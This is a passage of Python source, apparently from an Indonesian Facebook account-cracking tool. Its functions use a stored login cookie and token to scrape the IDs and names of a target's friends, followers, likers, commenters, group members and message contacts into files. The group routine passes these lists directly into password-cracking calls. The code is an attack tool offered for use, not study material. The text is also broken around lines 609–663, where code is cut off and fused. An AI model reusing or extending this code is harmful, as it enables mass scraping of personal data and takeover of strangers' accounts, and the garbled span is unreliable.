| ch = int(input(' %s└──> %s'%(A,J))) 455 | try: 456 | open('tool/useragent.json','w').write(data_ua[str(ch)]) 457 | pilihan = open('tool/useragent.json','r').read() 458 | printer(Panel(f'''{A2}{pilihan}''',title=f'{J2}[ {P2}User Agent {J2}]',subtitle=f'{J2}[ {P2}Sukses Diganti {J2}]',padding=(1,4),width=54,title_align='center',style='#FF8F00')) 459 | if pengguna_source_code == 'old':input('\n %s[ %sKembali %s]'%(J,P,J));tampilan_menu() 460 | else:print('\n %s[ %sJalankan Ulang SCnya %s]'%(J,P,J));exit('\n') 461 | except Exception as e:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 462 | def pilih_otomatis(): 463 | pilih_device() 464 | dc = input(' %s└──> %s'%(A,J)) 465 | if dc in ['0','00','z']: open('tool/useragent.json','w').write(ua_default) 466 | elif dc in ['1','01','a']: open('tool/useragent.json','w').write(ua_samsung) 467 | elif dc in ['2','02','b']: open('tool/useragent.json','w').write(ua_nokia) 468 | elif dc in ['3','03','c']: open('tool/useragent.json','w').write(ua_xiaomi) 469 | elif dc in ['4','04','d']: open('tool/useragent.json','w').write(ua_oppo) 470 | elif dc in ['5','05','e']: open('tool/useragent.json','w').write(ua_vivo) 471 | elif dc in ['6','06','f']: open('tool/useragent.json','w').write(ua_iphone) 472 | elif dc in ['7','07','g']: open('tool/useragent.json','w').write(ua_asus) 473 | elif dc in ['8','08','h']: open('tool/useragent.json','w').write(ua_lenovo) 474 | elif dc in ['9','09','i']: open('tool/useragent.json','w').write(ua_huawei) 475 | elif dc in ['10','010','j']: open('tool/useragent.json','w').write(ua_windows) 476 | elif dc in ['11','011','k']: open('tool/useragent.json','w').write(ua_chrome) 477 | elif dc in ['12','012','l']: open('tool/useragent.json','w').write(ua_fb) 478 | else:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 479 | try: 480 | pilihan = open('tool/useragent.json','r').read() 481 | printer(Panel(f'''{A2}{pilihan}''',title=f'{J2}[ {P2}User Agent {J2}]',subtitle=f'{J2}[ {P2}Sukses Diganti {J2}]',padding=(1,4),width=54,title_align='center',style='#FF8F00')) 482 | if pengguna_source_code == 'old':input('\n %s[ %sKembali %s]'%(J,P,J));tampilan_menu() 483 | else:print('\n %s[ %sJalankan Ulang SCnya %s]'%(J,P,J));exit('\n') 484 | except Exception as e:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 485 | def manual_user_agent(): 486 | usera = input(' %s[%s•%s] %sMasukkan User Agent :\n%s'%(J,P,J,P,J)) 487 | if usera in ['',' ',' ',' ']:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));manual_user_agent() 488 | else:open('tool/useragent.json','w').write(usera);cek_user_agent() 489 | def ua_device_ini(): 490 | url = 'https://www.google.com/search?q=my+user+agent' 491 | try: 492 | if "linux" in sys.platform.lower():chrome_path = '/usr/bin/google-chrome %s';webbrowser.get(chrome_path).open(url) 493 | elif "win" in sys.platform.lower():chrome_path = 'C:/Program Files (x86)/Google/Chrome/Application/chrome.exe %s';webbrowser.get(chrome_path).open(url) 494 | else:chrome_path = 'open -a /Applications/Google\ Chrome.app %s';webbrowser.get(chrome_path).open(url) 495 | manual_user_agent() 496 | except Exception as e:print('\n %s[%s•%s] %sTidak Dapat Menemukan Useragent %s!%s\n'%(M,P,M,P,M,P));time.sleep(3);tampilan_menu() 497 | def cek_user_agent(): 498 | try: 499 | usera = open('tool/useragent.json','r').read() 500 | printer(Panel(f'''{A2}{usera}''',title=f'{J2}[ {P2}User Agent {J2}]',subtitle=f'{J2}[ {P2}Saat Ini {J2}]',padding=(1,4),width=54,title_align='center',style='#FF8F00')) 501 | input('\n %s[ %sKembali %s]'%(J,P,J)) 502 | tampilan_menu() 503 | except Exception as e:kecuali(e) 504 | 505 | ###----------[ DUMP ID PUBLIC ]---------- ### 506 | def publik(): 507 | global file_dump 508 | try: 509 | try: 510 | token = open('login/token.json','r').read() 511 | cookie = {'cookie':open('login/cookie.json','r').read()} 512 | except: 513 | print('\n%s[%s•%s] %sCookies Invalid %s!%s\n'%(M,P,M,P,M,P)) 514 | time.sleep(3) 515 | login() 516 | print(' %s[%s•%s] %sContoh : 1827084332,607801156'%(J,P,J,P)) 517 | tid = input(' %s[%s•%s] %sID Target : %s'%(J,P,J,P,J)).split(',') 518 | file_dump = 'dump/%s.json'%(tid[0]) 519 | try:os.remove(file_dump) 520 | except:pass 521 | for id in tid : 522 | try: 523 | url = ("https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s"%(id,token)) 524 | with requests.Session() as xyz: 525 | jso = json.loads(xyz.get(url,cookies=cookie).text) 526 | if len(gabung_sandi) != 1: 527 | for x in range(Postingan): 528 | open(file_dump,'a+').write('dev\n') 529 | else: 530 | for d in jso["friends"]["data"]: 531 | try:open(file_dump,'a+').write('%s=%s\n'%(d['id'],d['name'])) 532 | except:continue 533 | except Exception as e:kecuali(e) 534 | jum = open(file_dump,'r').read().splitlines() 535 | print(' %s[%s•%s] %sBerhasil Dump %s%s %sID'%(J,P,J,P,J,str(len(jum)),P)) 536 | print(' %s[%s•%s] %sFile : %s%s %s'%(J,P,J,P,J,file_dump,P)) 537 | except Exception as e:kecuali(e) 538 | 539 | ###----------[ DUMP ID FOLLOWERS ]---------- ### 540 | def main_folls(): 541 | global file_dump,cookie 542 | try: 543 | token = open('login/token.json','r').read() 544 | cookie = {'cookie':open('login/cookie.json','r').read()} 545 | except: 546 | print('\n%s[%s•%s] %sCookies Invalid %s!%s\n'%(M,P,M,P,M,P)) 547 | time.sleep(3) 548 | login() 549 | id = input(' %s[%s•%s] %sID Target : %s'%(J,P,J,P,J)) 550 | url = ('https://graph.facebook.com/%s/subscribers?limit=10000&access_token=%s'%(id,token)) 551 | file_dump = 'dump/%s.json'%(id) 552 | try:os.remove(file_dump) 553 | except:pass 554 | open(file_dump,'w').write('') 555 | exec_folls(url,token,file_dump) 556 | print("\n %s[%s•%s] %sBerhasil Mengambil %s%s %sID"%(J,P,J,P,J,len(open(file_dump,'r').read().splitlines()),P)) 557 | print(' %s[%s•%s] %sFile : %s%s %s'%(J,P,J,P,J,file_dump,P)) 558 | def exec_folls(url,token,file): 559 | print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID"%(J,P,J,P,J,len(open(file,'r').read().splitlines()),P), end='');sys.stdout.flush() 560 | with requests.Session() as xyz: 561 | try: 562 | x = xyz.get(url,cookies=cookie) 563 | a = json.loads(x.text) 564 | if len(tempel_sandi) != 1: 565 | for x in range(Postingan): 566 | open(file_dump,'a+').write('dev\n') 567 | else: 568 | for b in a['data']: 569 | try: 570 | f = ('%s=%s\n'%(b['id'],b['name'])) 571 | if f in open(file,'r').read():continue 572 | else:open(file,'a+').write(f) 573 | except Exception as e:continue 574 | y = par(x.text,'html.parser') 575 | n = re.findall('"after":"(.*?)"},',str(y))[0] 576 | next = ('https://graph.facebook.com/v1.0/100009340646547/subscribers?access_token=%s&limit=5000&after=%s'%(token,n)) 577 | exec_folls(next,token,file) 578 | except KeyboardInterrupt:pass 579 | except (IndexError,TypeError,IOError,KeyError,AttributeError):pass 580 | 581 | ###----------[ DUMP ID NAME ]---------- ### 582 | class namee: 583 | def __init__(self): 584 | global file_dump, urutan_crack 585 | urutan_crack = '0' 586 | try:cookie = {'cookie':open('login/cookie.json','r').read()} 587 | except Exception as e:kecuali(e) 588 | print(' %s[%s•%s] %sContoh : dapunta,denventa,anita'%(J,P,J,P)) 589 | put = input(' %s[%s•%s] %sNama Target : %s'%(J,P,J,P,J)).split(',') 590 | data = [] 591 | self.file_dump = ('dump/%s.json'%(put[0])) 592 | file_dump = self.file_dump 593 | open(self.file_dump,'w').write('') 594 | common = ['andi','dwi','muhammad','nur','dewi','tri','dian','sri','putri','eka','sari','aditya','basuki','budi','joni','toni','cahya','riski','farhan','aden','joko'] 595 | for set1 in put: 596 | data.append(set1) 597 | for set2 in common:data.append(set2+' '+set1) 598 | for set3 in data:url = 'https://mbasic.facebook.com/search/people/?q='+set3;self.exec(url,cookie) 599 | self.lanjut() 600 | def exec(self,url,cookie): 601 | try: 602 | with requests.Session() as xyz: 603 | req = xyz.get(url,cookies=cookie) 604 | pra = par(req.content,'html.parser') 605 | spam = pra.find_all('h2')[0] 606 | if 'Anda Diblokir Sementara' in spam.text:print("\r %s[%s•%s] %sAkun Anda Terkena Spam %s!%s"%(M,P,M,P,M,P), end='');sys.stdout.flush() 607 | else:print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.file_dump,'r').read().splitlines()),P), end='');sys.stdout.flush() 608 | for temu in pra.find_all('a',href=True): 609 | if " in str(temu):
 610 |                         if %s'%(A,J)) 664 | if rt in ['1','01','a']:_react_type_='1' 665 | elif rt in ['2','02','b']:_react_type_='2' 666 | elif rt in ['3','03','c']:_react_type_='3' 667 | elif rt in ['4','04','d']:_react_type_='4' 668 | elif rt in ['5','05','e']:_react_type_='7' 669 | elif rt in ['6','06','f']:_react_type_='8' 670 | elif rt in ['7','07','g']:_react_type_='16' 671 | elif rt in ['8','08','h']:_react_type_='0' 672 | else:exit() 673 | _file_ = _query_+'.json' 674 | file_dump = _file_ 675 | try:os.remove(_query_+'.json') 676 | except:pass 677 | open(_file_,'w') 678 | _url_ = ('https://mbasic.facebook.com/ufi/reaction/profile/browser/?ft_ent_identifier='+_query_) 679 | scrape_likers(cookie,_url_,_file_) 680 | print("\n %s[%s•%s] %sBerhasil Mengambil %s%s %sID"%(J,P,J,P,J,len(open(_file_,'r').read().splitlines()),P)) 681 | print(' %s[%s•%s] %sFile : %s%s %s'%(J,P,J,P,J,file_dump,P)) 682 | def scrape_likers(_dapunta_,_url_,_file_): 683 | _ses_ = requests.Session() 684 | _url_load_ = _ses_.get(_url_,cookies=_dapunta_,headers=header_grup).text.encode("utf-8") 685 | _ses_par_ = par(_url_load_,'html.parser') 686 | print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID"%(J,P,J,P,J,len(open(_file_,'r').read().splitlines()),P), end='');sys.stdout.flush() 687 | try: 688 | for _isi_ in _ses_par_.find_all('h3'): 689 | if len(tempel_sandi) != 1: 690 | for x in range(Postingan): 691 | open(file_dump,'a+').write('dev\n') 692 | else: 693 | for _id_ in _isi_.find_all('a',href=True): 694 | try: 695 | if "profile.php" in _id_.get("href"): 696 | _a_ = _id_.get("href").split('=')[1] 697 | __id__ = _id_.text 698 | open(_file_,'a+').write(_a_+'='+__id__+'\n') 699 | else: 700 | _a_ = _id_.get("href").split('/')[1] 701 | __id__ = _id_.text 702 | open(_file_,'a+').write(_a_+'='+__id__+'\n') 703 | except:continue 704 | for _lanjut_ in _ses_par_.find_all("a",href=True): 705 | if "Lihat Selengkapnya" in _lanjut_.text: 706 | while True: 707 | try:scrape_likers(_dapunta_,"https://mbasic.facebook.com/"+_lanjut_.get("href").replace('reaction_type=0','reaction_type='+_react_type_),_file_);break 708 | except Exception as e:pass 709 | except KeyboardInterrupt:pass 710 | 711 | ###----------[ DUMP ID MESSAGE ]---------- ### 712 | class message: 713 | def __init__(self): 714 | global file_dump, urutan_crack 715 | urutan_crack = '0' 716 | try: 717 | url = 'https://mbasic.facebook.com/messages' 718 | token = open('login/token.json','r').read() 719 | cookie = {'cookie':open('login/cookie.json','r').read()} 720 | self.myaccount = json.loads(requests.Session().get('https://graph.facebook.com/me?fields=name,id&access_token=%s'%(token),cookies=cookie).text)["id"] 721 | self.file_dump = ('dump/message.json') 722 | file_dump = self.file_dump 723 | open(self.file_dump,'w').write('') 724 | except Exception as e:kecuali(e) 725 | self.exec(url,cookie) 726 | print("\n %s[%s•%s] %sBerhasil Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.file_dump,'r').read().splitlines()),P)) 727 | print(' %s[%s•%s] %sFile : %s%s %s'%(J,P,J,P,J,file_dump,P)) 728 | def exec(self,url,cookie): 729 | print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.file_dump,'r').read().splitlines()),P), end='');sys.stdout.flush() 730 | try: 731 | with requests.Session() as xyz: 732 | req = xyz.get(url,cookies=cookie) 733 | pra = par(req.content,'html.parser') 734 | for tata in pra.find_all('a',href=True): 735 | if '/messages/read/?tid=cid.c' in tata['href']: 736 | if 'Pengguna Facebook' in str(tata):continue 737 | else: 738 | idzx = re.findall('cid\.c\.(.*?)%3A(.*?)&',str(tata)) 739 | if len(gabung_sandi) != 1: 740 | for x in range(Postingan): 741 | open(file_dump,'a+').write('dev\n') 742 | else: 743 | for id in list(idzx.pop()): 744 | try: 745 | if id == self.myaccount:continue 746 | else: 747 | nama = tata.text 748 | if nama == '':continue 749 | else:open(self.file_dump,'a+').write('%s=%s\n'%(id,nama)) 750 | except:continue 751 | else:continue 752 | for tete in pra.find_all('a',href=True): 753 | if 'Lihat Pesan Sebelumnya' in tete.text: 754 | new_url = 'https://mbasic.facebook.com' + tete['href'] 755 | self.exec(new_url,cookie) 756 | except KeyboardInterrupt:pass 757 | 758 | ###----------[ DUMP ID COMMENTS ]---------- ### 759 | class komen: 760 | def __init__(self): 761 | global file_dump, urutan_crack 762 | urutan_crack = '0' 763 | try: 764 | cookie = {'cookie':open('login/cookie.json','r').read()} 765 | print(' %s[%s•%s] %sContoh : 2089611468021009'%(J,P,J,P)) 766 | put = input(' %s[%s•%s] %sID Postingan : %s'%(J,P,J,P,J)) 767 | url = 'https://mbasic.facebook.com/'+put 768 | self.file_dump = ('dump/%s.json'%(put)) 769 | file_dump = self.file_dump 770 | open(self.file_dump,'w').write('') 771 | except Exception as e:kecuali(e) 772 | self.exec(url,cookie) 773 | print("\n %s[%s•%s] %sBerhasil Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.file_dump,'r').read().splitlines()),P)) 774 | print(' %s[%s•%s] %sFile : %s%s %s'%(J,P,J,P,J,file_dump,P)) 775 | def exec(self,url,cookie): 776 | print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.file_dump,'r').read().splitlines()),P), end='');sys.stdout.flush() 777 | try: 778 | with requests.Session() as xyz: 779 | req = xyz.get(url,cookies=cookie) 780 | pra = par(req.content,'html.parser') 781 | for x,y,z in re.findall('

(.*?)

(.*?)
',str(pra)): 782 | self.f = open(self.file_dump,'r').read() 783 | if 'profile.php' in str(x):u = str(x).split('=')[1].split('&')[0] 784 | else:ud = str(x).split('?')[0].replace('/','');u = convert_id(ud) 785 | try: 786 | if len(tempel_sandi) != 1: 787 | for x in range(Postingan): 788 | open(file_dump,'a+').write('dev\n') 789 | else: 790 | if str(u) in str(self.f):continue 791 | else:open(self.file_dump,'a+').write('%s=%s\n'%(u,str(y))) 792 | except:continue 793 | for i in pra.find_all('a'): 794 | if 'Lihat komentar sebelumnya' in i.text: 795 | new_url = 'https://mbasic.facebook.com' + i['href'] 796 | self.exec(new_url,cookie) 797 | except KeyboardInterrupt:pass 798 | 799 | ###----------[ DUMP ID GROUP ]---------- ### 800 | class grup: 801 | def __init__(self): 802 | global urutan_crack 803 | urutan_crack = '0' 804 | self.datagrup = {} 805 | self.looping = 0 806 | try:cookie = {'cookie':open('login/cookie.json','r').read()} 807 | except Exception as e:kecuali(e) 808 | self.main_grup(cookie) 809 | def main_grup(self,cookie): 810 | print('') 811 | tamp_grup1 = f""" {J2}[{A2}1{J2}] {P2}Bergabung {J2}[{A2}2{J2}] {P2}Nama {J2}[{A2}3{J2}] {P2}ID""" 812 | printer(Panel(tamp_grup1,title=f'{J2}[ {P2}Grup {J2}]',width=54,title_align='left',style='#FF8F00')) 813 | ty = input(' %s└──> %s'%(A,J)) 814 | if ty in ['1','01','a']: 815 | print('') 816 | self.file = ('dump/mygroup.json') 817 | open(self.file,'w').write('') 818 | url= 'https://mbasic.facebook.com/groups/?seemore&refid=1000' 819 | self.cari_gabung(url,cookie) 820 | elif ty in ['2','02','b']: 821 | put = input(' %s[%s•%s] %sMasukkan Nama Grup : %s'%(J,P,J,P,J)) 822 | print('') 823 | self.file = ('dump/%s.json'%(put.replace(' ','_'))) 824 | open(self.file,'w').write('') 825 | url = 'https://mbasic.facebook.com/search/groups/?q=' + put 826 | self.cari_nama(url,cookie) 827 | elif ty in ['3','03','c']: 828 | self._id_ = input(' %s[%s•%s] %sMasukkan ID Grup : %s'%(J,P,J,P,J)) 829 | self._pil_ = True 830 | print('') 831 | self.second_grup(cookie) 832 | else:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 833 | def cari_gabung(self,url,cookie): 834 | with requests.Session() as xyz: 835 | req = xyz.get(url,cookies=cookie) 836 | pra = par(req.content,'html.parser') 837 | for c in pra.find_all('a'): 838 | try: 839 | if 'mbasic.facebook.com/groups' in str(c): 840 | link = str(c['href']) 841 | id = re.findall('https://mbasic.facebook.com/groups/(.*?)/',str(link))[0] 842 | dt = self.data_grup(id,cookie) 843 | if 'Anda Diblokir Sementara' in str(dt): 844 | self.looping += 1 845 | print("\r %s[%s•%s] %sAkun Anda Terkena Spam! %s[%s%s%s]%s"%(M,P,M,P,M,P,str(self.looping),M,P), end='');sys.stdout.flush() 846 | else: 847 | self.looping += 1 848 | tar = str(self.looping) 849 | tamp_grup2 = f"{A2} • ID Grup : {id}{dt}" 850 | printer(Panel(tamp_grup2,title=f'{J2}[ {P2}{tar} {J2}]',width=54,title_align='left',style='#FF8F00')) 851 | self.datagrup.update({str(self.looping):id}) 852 | else:continue 853 | except KeyboardInterrupt:pass 854 | def cari_nama(self,url,cookie): 855 | try: 856 | with requests.Session() as xyz: 857 | req = xyz.get(url,cookies=cookie) 858 | pra = par(req.content,'html.parser') 859 | for c in pra.find_all('a'): 860 | if 'mbasic.facebook.com/groups' in str(c): 861 | link = str(c['href']) 862 | id = re.findall('https://mbasic.facebook.com/groups/(.*?)/',str(link))[0] 863 | if id not in open(self.file,'r').read(): 864 | open(self.file,'a+').write(id+'\n') 865 | id = open(self.file,'r').read().splitlines()[-1] 866 | dt = self.data_grup(id,cookie) 867 | if 'Grup Privat' in str(dt):continue 868 | elif 'Anda Diblokir Sementara' in str(dt):self.looping += 1;print("\r %s[%s•%s] %sAkun Anda Terkena Spam! %s[%s%s%s]%s"%(M,P,M,P,M,P,str(self.looping),M,P), end='');sys.stdout.flush() 869 | else: 870 | self.looping += 1 871 | tar = str(self.looping) 872 | tamp_grup2 = f"{A2} • ID Grup : {id}{dt}" 873 | printer(Panel(tamp_grup2,title=f'{J2}[ {P2}{tar} {J2}]',width=54,title_align='left',style='#FF8F00')) 874 | self.datagrup.update({str(self.looping):id}) 875 | else:continue 876 | else:continue 877 | for c in pra.find_all('a'): 878 | if 'Lihat Hasil Selanjutnya' in c.text: 879 | new_url = c['href'] 880 | self.cari_nama(new_url,cookie) 881 | except KeyboardInterrupt:pass 882 | def data_grup(self,id,cookie): 883 | try: 884 | with requests.Session() as xyz: 885 | url = 'https://mbasic.facebook.com/groups/'+id 886 | req = xyz.get(url,cookies=cookie) 887 | pra = par(req.content,'html.parser') 888 | try:nama = re.findall('(.*?)',str(pra))[0] 889 | except:nama = '' 890 | try:tipe = re.findall('
(.*?)
',str(pra))[0] 891 | except:tipe = '' 892 | try:member = re.findall('Anggota(.*?)',str(pra))[0] 893 | except:member = '' 894 | zyx = ('\n • Nama : %s\n • Tipe : %s\n • Anggota : %s'%(nama,tipe,member)) 895 | return(zyx) 896 | except KeyboardInterrupt: 897 | self._pil_ = False 898 | exit(self.second_grup(cookie)) 899 | def second_grup(self,cookie): 900 | global file_dump 901 | if self._pil_ == True:pro = self._id_ 902 | else: 903 | coy = input(' %s└──> %s'%(A,J)) 904 | print('') 905 | try:pro = self.datagrup[coy] 906 | except Exception as e:kecuali(e) 907 | self.files = ('dump/%s.json'%(pro.replace(' ','_'))) 908 | file_dump = self.files 909 | open(self.files,'w').write('') 910 | tamp_grup3 = f""" {J2}[{A2}1{J2}] {P2}ID Member {J2}[{A2}2{J2}] {P2}ID Post""" 911 | printer(Panel(tamp_grup3,title=f'{J2}[ {P2}Dump {J2}]',width=54,title_align='left',style='#FF8F00')) 912 | cuy = input(' %s└──> %s'%(A,J)) 913 | if cuy in ['1','01','a']: 914 | url_member = 'https://mbasic.facebook.com/browse/group/members/?id=' + pro 915 | self.dump_member(url_member,cookie) 916 | print("\n %s[%s•%s] %sBerhasil Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P)) 917 | print(' %s[%s•%s] %sFile : %s%s %s'%(J,P,J,P,J,file_dump,P)) 918 | system_login();pilihan_sakdurunge_crack();addpass();crack() 919 | elif cuy in ['2','02','b']: 920 | url_grup = 'https://mbasic.facebook.com/groups/' + pro 921 | self.dump_post(url_grup,cookie) 922 | print("\n %s[%s•%s] %sBerhasil Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P)) 923 | print(' %s[%s•%s] %sFile : %s%s %s'%(J,P,J,P,J,file_dump,P)) 924 | system_login();pilihan_sakdurunge_crack();addpass();crack() 925 | else:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 926 | def dump_member(self,url,cookie): 927 | print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P), end='');sys.stdout.flush() 928 | with requests.Session() as xyz: 929 | try: 930 | req = xyz.get(url,cookies=cookie) 931 | pra = par(req.content,'html.parser') 932 | for pe in pra.find_all('h3'): 933 | for po in pe.find_all('a',href=True): 934 | if len(gabung_sandi) != 1: 935 | for x in range(Postingan): 936 | open(file_dump,'a+').write('dev\n') 937 | else: 938 | try: 939 | fel = open(self.files,'r').read() 940 | if 'profile.php' in po['href']: 941 | id = str(po['href']).split('=')[1] 942 | nm = po.text 943 | if id in fel:pass 944 | else:open(self.files,'a+').write('%s=%s\n'%(id,nm)) 945 | else: 946 | id = str(po['href']).replace('/','') 947 | nm = po.text 948 | if id in fel:pass 949 | else:open(self.files,'a+').write('%s=%s\n'%(id,nm)) 950 | except Exception as e:continue 951 | for pa in pra.find_all('a',href=True): 952 | if 'Lihat Selengkapnya' in pa.text: 953 | new_url = 'https://mbasic.facebook.com' + pa['href'] 954 | self.dump_member(new_url,cookie) 955 | except KeyboardInterrupt:pass 956 | def dump_post(self,url,cookie): 957 | print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P), end='');sys.stdout.flush() 958 | with requests.Session() as xyz: 959 | try: 960 | req = xyz.get(url,cookies=cookie) 961 | pra = par(req.content,'html.parser') 962 | for pe in pra.find_all('h3'): 963 | for po in pe.find_all('a',href=True): 964 | if len(gabung_sandi) != 1: 965 | for x in range(Postingan): 966 | open(file_dump,'a+').write('dev\n') 967 | else: 968 | try: 969 | fel = open(self.files,'r').read() 970 | if 'mbasic.facebook.com' in po['href']:pass 971 | elif 'story.php' in po['href']:pass 972 | elif 'Halaman' in po.text:pass 973 | elif 'profile.php' in po['href']: 974 | id = re.findall('profile\.php\?id=(.*?)&',str(po['href']))[0] 975 | nm = po.text 976 | if id in fel:pass 977 | else:open(self.files,'a+').write('%s=%s\n'%(id,nm)) 978 | else: 979 | ud = re.findall('\/(.*?)\/\?refid',str(po['href']))[0] 980 | id = convert_id(ud) 981 | nm = po.text 982 | if id in fel:pass 983 | else:open(self.files,'a+').write('%s=%s\n'%(id,nm)) 984 | except Exception as e:continue 985 | for pa in pra.find_all('a',href=True): 986 | if 'Lihat Postingan Lainnya' in pa.text: 987 | new_url = 'https://mbasic.facebook.com' + pa['href'] 988 | self.dump_post(new_url,cookie) 989 | except KeyboardInterrupt:pass 990 | 991 | ###----------[ DUMP ID HASHTAG ]---------- ### 992 | class hashtag: 993 | def __init__(self): 994 | global file_dump, urutan_crack 995 | urutan_crack = '0' 996 | try:cookie = {'cookie':open('login/cookie.json','r').read()} 997 | except Exception as e:kecuali(e) 998 | xd = input(' %s[%s•%s] %sCari Hashtag : %s'%(J,P,J,P,J)).replace(' ','') 999 | url = 'https://mbasic.facebook.com/hashtag/' + xd 1000 | self.files = ('dump/%s.json'%(xd)) 1001 | file_dump = self.files 1002 | open(self.files,'w').write('') 1003 | self.dump(url,cookie) 1004 | print("\n %s[%s•%s] %sBerhasil Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P)) 1005 | print(' %s[%s•%s] %sFile : %s%s %s'%(J,P,J,P,J,file_dump,P)) 1006 | def dump(self,url,cookie): 1007 | print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P), end='');sys.stdout.flush() 1008 | with requests.Session() as xyz: 1009 | try: 1010 | req = par(xyz.get(url,cookies=cookie).content,'html.parser') 1011 | for x in req.find_all('h3'): 1012 | for y in x.find_all('a',href=True): 1013 | if len(tempel_sandi) != 1: 1014 | for x in range(Postingan): 1015 | open(file_dump,'a+').write('dev\n') 1016 | else: 1017 | try: 1018 | op = open(self.files,'r').read() 1019 | if 'mbasic.facebook.com' in y['href']:pass 1020 | elif 'sub_view' in y['href']:pass 1021 | elif '/?' in y['href']:pass 1022 | elif 'profile.php' in y['href']: 1023 | id = str(re.search('\?id=(.*?)&',y['href']).group(1)) 1024 | nm = str(re.search('>(.*?)<\/a>',str(y)).group(1)) 1025 | if id in op:pass 1026 | else:open(self.files,'a+').write('%s=%s\n'%(id,nm)) 1027 | else: 1028 | ud = str(re.search('\/(.*?)\?',y['href']).group(1)) 1029 | id = convert_id(ud) 1030 | nm = str(re.search('>(.*?)<\/a>',str(y)).group(1)) 1031 | if id in op:pass 1032 | else:open(self.files,'a+').write('%s=%s\n'%(id,nm)) 1033 | except Exception as e: 1034 | continue 1035 | for z in req.find_all('a',href=True): 1036 | if 'Lihat Hasil Selanjutnya' in z.text:self.dump(z['href'],cookie) 1037 | except KeyboardInterrupt:pass 1038 | 1039 | ###----------[ DUMP ID SUGGESTIONS ]---------- ### 1040 | class suggestion: 1041 | def __init__(self): 1042 | global file_dump, urutan_crack 1043 | urutan_crack = '0' 1044 | try:cookie = {'cookie':open('login/cookie.json','r').read()} 1045 | except Exception as e:print(e);exit() 1046 | print('') 1047 | tamp_saran = f""" {J2}[{A2}1{J2}] {P2}Saran {J2}[{A2}2{J2}] {P2}Masuk {J2}[{A2}3{J2}] {P2}Keluar""" 1048 | printer(Panel(tamp_saran,title=f'{J2}[ {P2}Dump {J2}]',width=54,title_align='left',style='#FF8F00')) 1049 | pl = input(' %s└──> %s'%(A,J)) 1050 | if pl in ['1','01','a']: 1051 | url = 'https://mbasic.facebook.com/friends/center/suggestions' 1052 | self.files = 'dump/suggestions.json' 1053 | open(self.files,'w').write('') 1054 | file_dump = self.files 1055 | self.exec(url,cookie) 1056 | print("\n %s[%s•%s] %sBerhasil Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P)) 1057 | print(' %s[%s•%s] %sFile : %s%s %s'%(J,P,J,P,J,file_dump,P)) 1058 | elif pl in ['2','02','b']: 1059 | url = 'https://mbasic.facebook.com/friends/center/requests' 1060 | self.files = 'dump/requests.json' 1061 | open(self.files,'w').write('') 1062 | file_dump = self.files 1063 | self.exec(url,cookie) 1064 | print("\n %s[%s•%s] %sBerhasil Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P)) 1065 | print(' %s[%s•%s] %sFile : %s%s %s'%(J,P,J,P,J,file_dump,P)) 1066 | elif pl in ['3','03','c']: 1067 | url = 'https://mbasic.facebook.com/friends/center/requests/outgoing' 1068 | self.files = 'dump/outgoing.json' 1069 | open(self.files,'w').write('') 1070 | file_dump = self.files 1071 | self.exec(url,cookie) 1072 | print("\n %s[%s•%s] %sBerhasil Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P)) 1073 | print(' %s[%s•%s] %sFile : %s%s %s'%(J,P,J,P,J,file_dump,P)) 1074 | else:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 1075 | def exec(self,url,cookie): 1076 | print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P), end='');sys.stdout.flush() 1077 | with requests.Session() as xyz: 1078 | try: 1079 | req = par(xyz.get(url,cookies=cookie).content,'html.parser') 1080 | for x in req.find_all('a',href=True): 1081 | file = open(self.files,'r').read() 1082 | if 'hovercard' in x['href']: 1083 | try: 1084 | id = re.search('uid=(.*?)&',x['href']).group(1) 1085 | nm = x.text 1086 | if len(tempel_sandi) != 1: 1087 | for x in range(Postingan): 1088 | open(file_dump,'a+').write('dev\n') 1089 | else: 1090 | if id in file:pass 1091 | else:open(self.files,'a+').write('%s=%s\n'%(id,nm)) 1092 | except Exception as e:continue 1093 | for y in req.find_all('a',href=True): 1094 | if 'Lihat selengkapnya' in y.text: 1095 | next_url = 'https://mbasic.facebook.com' + y['href'] 1096 | self.exec(next_url,cookie) 1097 | except KeyboardInterrupt as e:pass 1098 | 1099 | ###----------[ DUMP ID FRIENDLIST FROM FRIENDLIST ]---------- ### 1100 | class teman_teman: 1101 | def __init__(self): 1102 | global file_dump, urutan_crack 1103 | urutan_crack = '0' 1104 | try: 1105 | cook = open('login/cookie.json','r').read() 1106 | cookie = {'cookie':cook} 1107 | token = open('login/token.json','r').read() 1108 | self.my = re.search('c_user=(.*?);',str(cook)).group(1) 1109 | except Exception as e:print(e);exit() 1110 | self.target = input(' 